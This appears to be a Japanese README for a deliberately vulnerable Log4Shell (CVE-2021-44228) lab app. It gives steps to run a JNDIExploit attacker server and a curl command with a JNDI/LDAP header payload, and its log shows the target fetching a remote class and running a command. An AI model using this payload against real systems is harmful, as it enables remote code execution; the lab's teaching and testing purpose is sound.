
このリポジトリには、log4shellとして知られるCVE-2021-44228に対して脆弱なSpring Boot Webアプリケーションが含まれています。
このリポジトリには、log4shell として知られる CVE-2021-44228 に対して脆弱な Spring Boot Web アプリケーションが含まれています。
これは以下を使用します
log-4j-core:2.14.1(spring-boot-starter-log4j2 経由)およびopenjdk:8u181実行します:
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
または、自分でビルドすることもできます:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
以下の手順で log4shell エクスプロイトを再現できます。 攻撃が内部でどのように動作するのか詳しくない場合は、この記事またはこのリポジトリ内のスライドを参照してください。
更新(12月13日): JNDIExploit リポジトリは GitHub から削除されました(おそらく、GitHub によるものではありません)。したがって、このリポジトリに保存されているバージョンを使用することをお勧めします。
まず、攻撃者サーバーをセットアップする必要があります。これは次のもので構成されます。
攻撃者サーバーを起動するには JNDIExploit を使用します。
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888
ペイロードとして、脆弱なアプリケーションのサーバー上で touch /tmp/pwned(base64 エンコードされた dG91Y2ggL3RtcC9wd25lZAo= に相当)を実行します。
以下のコマンドでエクスプロイトをトリガーします:
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
JNDIExploit の出力は、攻撃者サーバーが悪意のあるエクスプロイトで応答し、ペイロードを実行したことを示しています:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
コード実行が成功したことを確認するには、脆弱なアプリケーションを実行しているコンテナ内にファイル /tmp/pwned.txt が作成されたかどうかを確認します:
$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/